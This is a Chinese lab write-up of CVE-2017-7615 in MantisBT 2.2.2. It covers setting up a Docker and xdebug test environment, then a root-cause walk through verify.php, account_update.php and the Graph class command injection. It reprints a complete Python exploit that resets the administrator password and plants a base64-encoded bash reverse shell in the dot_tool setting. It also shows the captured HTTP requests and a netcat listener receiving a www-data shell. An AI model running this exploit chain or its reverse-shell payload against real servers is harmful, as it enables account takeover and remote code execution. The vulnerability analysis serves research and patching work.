声明
出品|先知社区(ID:1s1and）
以下内容，来自先知社区的1s1and作者原创，由于传播，利用此文所提供的信息而造成的任何直接或间接的后果和损失，均由使用者本人负责，长白山攻防实验室以及文章作者不承担任何责任。
概述
Mantis BT是一个BUG管理系统,用php编写，系统相对简单轻量级，开源。
CVE-2017-7615漏洞影响MantisBT2.3.0及之前的版本，攻击者可通过向verify.php文件传递空的confirm_hash值利用该漏洞重置任意密码，获取管理员访问权限。
环境搭建
启动一个docker
sudo docker run -it --name Mantis -p 10080:80 --
privileged=true -v
/home/island/work/work/software/Mantis/container:/root
ubuntu:16.04 bash
进入docker先安装最基础的一些工具
apt-get update
apt-get install net-tools
apt-get install iputils-ping
apt-get install iproute2
apt-get install vim
apt-get install zip
安装Mantis
apt-get install apache2
apt-get install php
apt-get install php7.0-gd (php用你的特定版本)apt-get install libapache2-mod-php
apt-get install mysql-server
apt-get install php-mysql
apt-get install php-xml
apt-get install php-mbstring
service apache2 start
service mysql start
从GitHub上可以下载到2.18.0的Mantis的安装包
https://github.com/mantisbt/mantisbt/tree/release-2.18.0,然后进行安装
cp mantisbt-2.18.0.zip /var/www/html/
cd /var/www/html/
unzip mantisbt-2.18.0.zip
mv mantisbt-2.18.0 mantisbt
chmod -R 777 mantisbt
修改配置文件，将/etc/php/7.0/apache2/php.ini其中;extension=msql.so前边的分号删除
修改文件/etc/apache2/apache2.conf，在最后加上一行ServerName localhost:80
在访问目标80端口时候发现不能正常访问，查看apache2日志
root@21467ebf0ffb:/var/www/html/mantisbt#
tail /var/log/apache2/error.log[Tue Jul 26 09:30:04.072922 2022] [:error] [pid 12525] [client 172.16.113.1:56529] PHP
Warning:
require_once(/var/www/html/mantisbt/vendor/autoload.php):
failed to open stream: No such file or directory in /var/www/html/mantisbt/core.php on line 91[Tue Jul 26 09:30:04.072952 2022] [:error] [pid 12525] [client 172.16.113.1:56529] PHP Fatal error: require_once(): Failed opening required '/var/www/html/mantisbt/vendor/autoload.php' (include_path='.:/usr/share/php') in /var/www/html/mantisbt/core.php on line 91[Tue Jul 26 09:30:07.553159 2022] [:error] [pid 12533]
[client 172.16.113.1:56558] PHP Warning:
require_once(/var/www/html/mantisbt/vendor/autoload.php):
failed to open stream:
No such file or directory in /var/www/html/mantisbt/core.php on line 91[Tue Jul 26 09:30:07.553188 2022] [:error] [pid 12533] [client 172.16.113.1:56558] PHP Fatal error: require_once(): Failed opening required '/var/www/html/mantisbt/vendor/autoload.php' (include_path='.:/usr/share/php') in /var/www/html/mantisbt/core.php on line 91[Tue Jul 26 09:30:08.132794 2022] [:error] [pid 12526]
[client 172.16.113.1:56559] PHP Warning:
require_once(/var/www/html/mantisbt/vendor/autoload.php):
failed to open stream: No such file or directory in /var/www/html/mantisbt/core.php on line 91[Tue Jul 26 09:30:08.132822 2022] [:error] [pid 12526] [client 172.16.113.1:56559] PHP Fatal error: require_once():
Failed opening required '/var/www/html/mantisbt/vendor/autoload.php' (include_path='.:/usr/share/php') in /var/www/html/mantisbt/core.php on line 91[Tue Jul 26 09:30:08.335108 2022] [:error] [pid 12527]
[client 172.16.113.1:56560] PHP Warning:
require_once(/var/www/html/mantisbt/vendor/autoload.php):
failed to open stream: No such file or directory in /var/www/html/mantisbt/core.php on line 91[Tue Jul 26 09:30:08.335137 2022] [:error] [pid 12527] [client 172.16.113.1:56560] PHP Fatal error: require_once():
Failed opening required '/var/www/html/mantisbt/vendor/autoload.php' (include_path='.:/usr/share/php') in /var/www/html/mantisbt/core.php on line 91[Tue Jul 26 09:30:08.497536 2022] [:error] [pid 12528] [client 172.16.113.1:56561] PHP Warning:
require_once(/var/www/html/mantisbt/vendor/autoload.php):
failed to open stream: No such file or directory in /var/www/html/mantisbt/core.php on line 91[Tue Jul 26 09:30:08.497565 2022] [:error] [pid 12528] [client 172.16.113.1:56561] PHP Fatal error:
require_once(): Failed opening required '/var/www/html/mantisbt/vendor/autoload.php' (include_path='.:/usr/share/php') in /var/www/html/mantisbt/core.php on line 91
查了一下，在mantisbt目录下执行以下命令配置一下环境，安装依赖：
composer dump-autoload
apt-get install php7.0-gd
composer install
然后访问
http://172.16.113.160:10080/mantisbt/admin/install.php页面进行傻瓜式安装
安装完成后访问
http://172.16.113.160:10080/mantisbt即可进入登陆界面，登陆账号administrator，密码root
调试环境搭建
这个洞和我安装的版本不太适配，为了进行调试，同样的方法下载安装mantisBT 2.2.2,下载github里面的发现有点问题，建议可以去
https://sourceforge.net/projects/mantisbt/下载
下载解压完成后放在web目录下安装
cp -r /root/mantisbt-2.2.2/ /var/www/html/
chmod -R 777 mantisbt-2.2.2/
另外为了方便调试，利用vscode+xdebug实现php的远程调试，记录一下配置记录
服务器端配置
apt install php-xdebug
然后通过命令php --ini | more可以知道php.ini文件的位置,在/etc/php/7.0/cli/php.ini，打开在末尾增加以下内容
[xdebug]zend_extension=xdebug.so[XDebug]xdebug.remote_enable = on
xdebug.remote_autostart = 1xdebug.remote_host = 172.16.113.1
xdebug.remote_port = 9000xdebug.remote_connect_back = 0xdebug.auto_trace = 1xdebug.collect_includes = 1xdebug.collect_params = 1xdebug.remote_log = /tmp/xdebug.log
主机端配置
我的主机IDE端是Mac+VScode
Mac自带php，且php自带xdebug组件不用重复安装
直接打开VScode,打开调试界面，会自动添加launch.json,编辑加入以下内容
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"name": "Listen for XDebug",
"type": "php",
"request": "launch",
"stopOnEntry":false,
"localSourceRoot": "/Users/islandmac/Seafile/MyDocument/work/software/Mantis/container/mantisbt-2.2.2/",
"serverSourceRoot": "/var/www/html/mantisbt-2.2.2/",
"port": 9000
},
{
"name": "Launch currently open script",
"type": "php",
"request": "launch",
"program": "${file}",
"cwd": "${fileDirname}",
"port": 9000
}
]}
调试环境测试
至此，调试环境搭建完成，在verify.php头部下一个断点，尝试访问，发现果然断下来了，证明调试环境搭建成功
漏洞复现
exp已经有大佬在网上放出来了
import requestsfrom urllib import quote_plusfrom base64 import b64encodefrom re import splitclass exploit(): def __init__(self): self.s = requests.Session() self.headers = dict() # Initialize the headers dictionary self.RHOST = "192.168.1.10" # Victim IP self.RPORT =
"10080" # Victim port self.LHOST = "192.168.1.10"
# Attacker IP self.LPORT = "4444" # Attacker Port
self.verify_user_id = "1" # User id for the target account
self.realname = "administrator" # Username to hijack
self.passwd = "password" # New password after account hijack
self.mantisLoc = "/mantisbt-2.2.2" # Location of mantis in URL self.ReverseShell = "echo " + b64encode( "bash -i >& /dev/tcp/" + self.LHOST + "/" + self.LPORT + " 0>&1") + " | base64 -d | /bin/bash" # Reverse shell payload def reset_login(self): # Request # 1: Grab the account update token url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/verify.php?id=' + self.verify_user_id + '&confirm_hash=' r = self.s.get(url=url, headers=self.headers) if r.status_code == 404: print "ERROR: Unable to access password reset page" exit() account_update_token = r.text.split('name="account_update_token" value=')[1].split('"')[1] # Request # 2: Reset the account password url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/account_update.php' data = "account_update_token=" + account_update_token + "&password=" + self.passwd + "&verify_user_id=" + self.verify_user_id + "&realname=" + self.realname + "&password_confirm=" + self.passwd self.headers.update({'Content-Type': 'application/x-www-form-urlencoded'}) r = self.s.post(url=url, headers=self.headers, data=data) if r.status_code == 200: print "Successfully hijacked account!" def login(self): data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on" url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php' r = self.s.post(url=url, headers=self.headers, data=data) if "login_page.php" not in r.url: print "Successfully logged in!" def CreateConfigOption(self, option, value): # Get adm_config_set_token url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_report.php' r = self.s.get(url=url, headers=self.headers) adm_config_set_token = r.text.split('name="adm_config_set_token" value=')[1].split('"')[1] # Create config data = "adm_config_set_token=" + adm_config_set_token + "&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=" + option + "&original_config_option=&type=0&value=" + quote_plus( value) + "&action=create&config_set=Create+Configuration+Option" url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_set.php' r = self.s.post(url=url, headers=self.headers, data=data) def TriggerExploit(self): print "Triggering reverse shell" url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/workflow_graph_img.php' try: r = self.s.get(url=url, headers=self.headers, timeout=3) except: pass def Cleanup(self): # Delete the config settings that were created to send the reverse shell print "Cleaning up" cleaned_up = False cleanup = requests.Session() CleanupHeaders = dict() CleanupHeaders.update({'Content-Type': 'application/x-www-form-urlencoded'}) data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on" url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php' r = cleanup.post(url=url, headers=CleanupHeaders, data=data) ConfigsToCleanup = ['dot_tool', 'relationship_graph_enable'] for config in ConfigsToCleanup: # Get adm_config_delete_token url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php" r = cleanup.get(url=url, headers=self.headers) test = split('', r.text) # First element of the response list is garbage, delete it del test[0] cleanup_dict = dict() for i in range(len(test)): if config in test[i]: cleanup_dict.update({'config_option': config}) cleanup_dict.update({'adm_config_delete_token': test[i].split('name="adm_config_delete_token" value=')[1].split('"')[1]}) cleanup_dict.update({'user_id': test[i].split('name="user_id" value=')[1].split('"')[1]}) cleanup_dict.update({'project_id': test[i].split('name="project_id" value=')[1].split('"')[1]}) # Delete the config print "Deleting the " + config + " config." url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_delete.php" data = "adm_config_delete_token=" + cleanup_dict['adm_config_delete_token'] + "&user_id=" + cleanup_dict[ 'user_id'] + "&project_id=" + cleanup_dict['project_id'] + "&config_option=" + cleanup_dict[ 'config_option'] + "&_confirmed=1" r = cleanup.post(url=url, headers=CleanupHeaders, data=data) # Confirm if actually cleaned up r = cleanup.get(url="http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php", headers=CleanupHeaders, verify=False) if config in r.text: cleaned_up = False else: cleaned_up = True if cleaned_up == True: print "Successfully cleaned up" else: print "Unable to clean up configs"exploit = exploit()exploit.reset_login()exploit.login()exploit.CreateConfigOption(option="relationship_graph_enable", value="1")exploit.CreateConfigOption(option="dot_tool", value=exploit.ReverseShell + ';')exploit.TriggerExploit()exploit.Cleanup()
我在我的攻击机上开展监听
╰─$ nc -lvvp 4444 -n
Listening on 0.0.0.0 4444
更改exp当中的攻击机ip,目标ip,mantisLoc等信息后，执行exp
╰─$ python CVE-2017-7615_exp.py
Successfully hijacked account!
Successfully logged in!
Triggering reverse shell
Cleaning up
Deleting the dot_tool config.
Deleting the relationship_graph_enable config.
Successfully cleaned up
成功接受回连获取shell
╰─$ nc -lvvp 4444 -n 130 ↵
Listening on 0.0.0.0 4444Connection received on 172.17.0.4 40698bash: cannot set terminal process group (12522): Inappropriate ioctl for device
bash: no job control in this shell
www-data@21467ebf0ffb:/var/www/html/mantisbt-2.2.2$ id
iduid=33(www-data) gid=33(www-data) groups=33(www-data)
密码重置漏洞分析
exp中可以看到包含了一个密码重置漏洞和一个认证后的RCE漏洞，由于是个老洞了分析整套的利用修复具体逻辑没有太大意义，因此只分析一下漏洞原理
重置密码的两个数据包
GET /mantisbt-2.2.2/verify.php?id=1&confirm_hash= HTTP/1.1
Host: 172.16.113.160:10080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.24.0
POST /mantisbt-2.2.2/account_update.php HTTP/1.1
Host: 172.16.113.160:10080
Connection: close
Accept-Encoding: gzip, deflateAccept: */*
User-Agent: python-requests/2.24.0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=49copvvmkmrpp014hv2255cup3
Content-Length: 145
account_update_token=20220727yZ-LSS6H7Oh2T8e0vtB-7idGE-jtqpkN&password=password&verify_user_id=1&realname=administrator&password_confirm=password
第一个包是为了获取account_update_token的参数值，打开verify.php进行分析
$f_user_id = gpc_get_string( 'id' );$f_confirm_hash = gpc_get_string( 'confirm_hash' );......$t_token_confirm_hash = token_get_value( TOKEN_ACCOUNT_ACTIVATION, $f_user_id );if( $f_confirm_hash != $t_token_confirm_hash ) { trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR );}user_reset_failed_login_count_to_zero( $f_user_id );user_reset_lost_password_in_progress_count_to_zero( $f_user_id );# fake login so the user can set their passwordauth_attempt_script_login( user_get_field( $f_user_id, 'username' ) );user_increment_login_count( $f_user_id );# extracts the user information# and prefixes it with u_$t_row = user_get_row( $f_user_id );extract( $t_row, EXTR_PREFIX_ALL, 'u' );$t_can_change_password = helper_call_custom_function( 'auth_can_change_password', array() );layout_login_page_begin();......?>
可以看到头部在做的就是从query数据中取出id和confirm_hash参数值，然后将id值传入token_get_value
/**
* Get a token's value or null if not found
* @param integer $p_type The token type to retrieve.
* @param integer $p_user_id The user identifier (null for current user).
* @return array Token row
*/function token_get_value( $p_type, $p_user_id = null ) {
$t_token = token_get( $p_type, $p_user_id );
if( null !== $t_token )
{
return $t_token['value'
];
}
return null;
}
经过动态调试跟踪发现最终是运行以下命令获取token值
SELECT * FROM mantis222_tokens_table222 WHERE type=? AND owner=?;
这个值在登陆后才会有值，当我们没有登录的情况下是空的，因此返回null
因此verify.php继续向下运行
.......
if
( $f_confirm_hash != $t_token_confirm_hash ) {
trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR );
}
......
就不会触发本应触发的错误，导致此处的校验绕过，继续向下运行到
auth_attempt_script_login(user_get_field($f_user_id, ‘username’) );,
会调用user_get_field函数,user_get_field中会将用户id传入user_get_row函数，user_get_row函数又会进一步调用user_cache_row函数
function user_cache_row( $p_user_id, $p_trigger_errors = true ) {
global $g_cache_user;
$c_user_id = (int)$p_user_id;
if( !isset( $g_cache_user[$c_user_id] ) ) {
user_cache_array_rows( array( $c_user_id ) );
}
$t_user_row = $g_cache_user[$c_user_id];
if( !$t_user_row )
{
if( $p_trigger_errors )
{
error_parameters( (integer)$p_user_id );
trigger_error( ERROR_USER_BY_ID_NOT_FOUND, ERROR );
}
return false;
}
return $t_user_row;
}
此处会从数据库中取出现有的用户信息存入g_cache_user当中，然后根据g\_cache\_user当中，然后根据g_cache_user当中，然后根据c_user_id(request传入的id值)，来获取相应的用户信息t_user_row。但是如果没有取到有效的t\_user\_row。但是如果没有取到有效的t_user_row。但是如果没有取到有效的t_user_row值，就会触发错误
此处也能解释在第一个数据包中的id值为什么须为1，因为用户中至少存在一个administrator,ID值为1则有效，如果没有添加其他用户的情况下，request传入除了1以外的值就会触发错误。
继续向下运行加载前端界面，内嵌一行php
<?php
echo form_security_field( 'account_update' );
# When verifying account, set a token and don't display current password
token_set( TOKEN_ACCOUNT_VERIFY, true, TOKEN_EXPIRY_AUTHENTICATED, $u_id );
?>
这行则会加载我们需要用的有效的account_update_key并返回给用户，然后研究
第二个数据包
POST /mantisbt-2.2.2/account_update.php HTTP/1.1
Host: 172.16.113.160:10080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.24.0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=49copvvmkmrpp014hv2255cup3
Content-Length: 145
account_update_token=20220727yZ-LSS6H7Oh2T8e0vtB-7idGE-
jtqpkN&password=password&verify_user_id=1&realname=administrator&password_confirm=password
进去分析account_update.php，头部存在代码
form_security_validate( ‘account_update’ );
会检查输入的session与account_update是否匹配，如果没有有效的token则会报错推出
否则会继续向下运行，做一些参数校验工作，然后调用方法user_set_password来
重置口令,user_set_password方法会整合所有参数组合为以下sql语句执行：
UPDATE mantis222_user_table222 SET password=root, cookie_string=XFf3oXAaubj6XafrescDZ702IJeWIA1kecS7KoKvqFge_skYnK2QPVHR6Im5FXcq WHERE id=1
完成管理员密码的重置
认证后命令执行漏洞分析
认证后RCE关键是这四个数据包，登陆后获取有效cookie，然后请求adm_config_report.php可以获取有效的adm_config_set_token值
GET /mantisbt-2.2.2/adm_config_report.php HTTP/1.1Host: 172.16.113.160:10080Connection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.24.0Content-Type: application/x-www-form-urlencodedCookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=u2cr4957le1oe6etkdrd734s70
然后请求adm_config_set.php，config_option参数为
relationship_graph_enable
POST /mantisbt-2.2.2/adm_config_set.php HTTP/1.1Host: 172.16.113.160:10080Connection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.24.0Content-Type: application/x-www-form-urlencodedCookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=3ed30cul6f19sr0v49d9l5vs33Content-Length: 257adm_config_set_token=20220728agSFMyTMhprSgtlLxX
进而继续请求adm_config_set.php，config_option参数变为dot_tool，value参数重为我们要执行的命令
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTEzLjE2MC80NDQ0IDA+JjE= | base64 -d | /bin/bash;
POST /mantisbt-2.2.2/adm_config_set.php HTTP/1.1Host: 172.16.113.160:10080Connection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.24.0Content-Type: application/x-www-form-urlencodedCookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=5aka0muqtf70qs0cbgk004r8g6Content-Length: 345adm_config_set_token=20220728IEIong_N4C3T2y434vmOxnPFjVz8oKB9&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=dot_tool&original_config_option=&type=0&value=echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xNzIuMTYuMTEzLjE2MC80NDQ0IDA%2BJjE%3D+%7C+base64+-d+%7C+%2Fbin%2Fbash%3B&action=create&config_set=Create+Confi
最后再调用workflow_graph_img.php，触发写入的命令
GET /mantisbt-2.2.2/workflow_graph_img.php HTTP/1.1Host: 172.16.113.160:10080Connection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.24.0Content-Type: application/x-www-form-urlencodedCookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=3ed30cul6f19sr0v49d9l5vs33
进入adm_config_set.php开展分析，同样，开头调用form_security_validate( ‘adm_config_set’ );要求必须要有一个有效的adm_config_set值
最后调用config_set( $f_config_option, $t_value, $f_user_id, $f_project_id )设置相应的参数
仔细分析一下第二个包最后的结果：
POST /mantisbt-2.2.2/adm_config_set.php HTTP/1.1Host: 172.16.113.160:10080Connection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.24.0Content-Type: application/x-www-form-urlencodedCookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=3ed30cul6f19sr0v49d9l5vs33Content-Length: 257adm_config_set_token=20220728agSFMyTMhprSgtlLxXdhye0ejxWCxE1W&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=relationship_graph_enable&original_config_option=&type=0
执行的命令为
UPDATE mantis222_config_table222 SET value="1", type=1, access_reqd=90 WHERE config_id = relationship_graph_enable AND project_id = 0 AND user_id = 0
再分析第三个数据包
POST /mantisbt-2.2.2/adm_config_set.php HTTP/1.1Host: 172.16.113.160:10080Connection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.24.0Content-Type: application/x-www-form-urlencodedCookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=5aka0muqtf70qs0cbgk004r8g6Content-Length: 345adm_config_set_token=20220728IEIong_N4C3T2y434vmOxnPFjVz8oKB9&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=dot_tool&original_config_option=&type=0&value=echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xNzIuMTYuMTEzLjE2MC80NDQ0IDA%2BJjE%3D+%7C+base64+-d+%7C+%2Fbin%2Fbash%3B&action=create&config_set=Create+Configuration+Opt
执行的命令
POST /mantisbt-2.2.2/adm_config_set.php HTTP/1.1Host: 172.16.113.160:10080Connection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.24.0Content-Type: application/x-www-form-urlencodedCookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=5aka0muqtf70qs0cbgk004r8g6Content-Length: 345adm_config_set_token=20220728IEIong_N4C3T2y434vmOxnPFjVz8oKB9&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=dot_tool&original_config_option=&type=0&value=echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xNzIuMTYuMTEzLjE2MC80NDQ0IDA%2BJjE%3D+%7C+base64+-d+%7C+%2Fbin%2Fbash%3B&action=create&config_set=Create+Configuration+Opt
可以看到，配置的数据库中dot_tool的value值被设置为我们要执行的命令，继续分析第四个数据包
GET /mantisbt-2.2.2/workflow_graph_img.php HTTP/1.1Host: 172.16.113.160:10080Connection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.24.0Content-Type: application/x-www-form-urlencodedCookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=3ed30cul6f19sr0v49d9l5vs33
分析一下workflow_graph_img.php
......$t_dot_tool = config_get( 'dot_tool' );
......$t_graph = new Graph( 'workflow', $t_graph_attributes, $t_dot_tool );$t_graph->set_default_node_attr( array ( 'fontname' => $t_graph_fontname,
'fontsize' => $t_graph_fontsize,
'shape' => 'record',
'style' => 'filled',
'height' => '0.2',
'width' => '0.4' ) );
$t_graph->set_default_edge_attr( array ( 'style' => 'solid',
'color' => '#0000C0',
'dir' => 'forward' ) );
foreach ( $t_status_arr as $t_from_status => $t_from_label ) {
$t_enum_status = MantisEnum::getAssocArrayIndexedByValues( config_get( 'status_enum_string' ) );
foreach ( $t_enum_status as $t_to_status_id => $t_to_status_label ) {
if( workflow_transition_edge_exists( $t_from_status, $t_to_status_id ) ) { $t_graph->add_edge( string_no_break( MantisEnum::getLabel( lang_get( 'status_enum_string' ), $t_from_status ) ), string_no_break( MantisEnum::getLabel( lang_get( 'status_enum_string' ), $t_to_status_id ) ), array() ); } }}
$t_graph->output( 'png', true );
会从配置中取出我们设置好的dot_tool值，然后作为参数实例化一个Graph对象，最终会调用Graph的output方法
查看Graph的构造函数
function __construct( $p_name = 'G', array $p_attributes = array(), $p_tool = 'neato' ) {
if( is_string( $p_name ) )
{
$this->name = $p_name;
}
$this->set_attributes( $p_attributes );
$this->graphviz_tool = $p_tool;
}
会将参数dot_tool的值赋给graphviz_tool
进而在Graph类的output函数中
function output( $p_format = 'dot', $p_headers = false ) {
......
$t_command = $this->graphviz_tool . ' -T' . $p_format;
$t_descriptors = array(
0 => array( 'pipe', 'r', ),
1 => array( 'pipe', 'w', ),
2 => array( 'file', 'php://stderr', 'w', ),
);
$t_pipes = array();
$t_proccess = proc_open( $t_command, $t_descriptors, $t_pipes );
......
}
会将graphviz_tool参数拼接到命令中执行proc_popen，进而导致命令注入
参考
[1] 1s1and’s blog
[2] CVE-2017-7615
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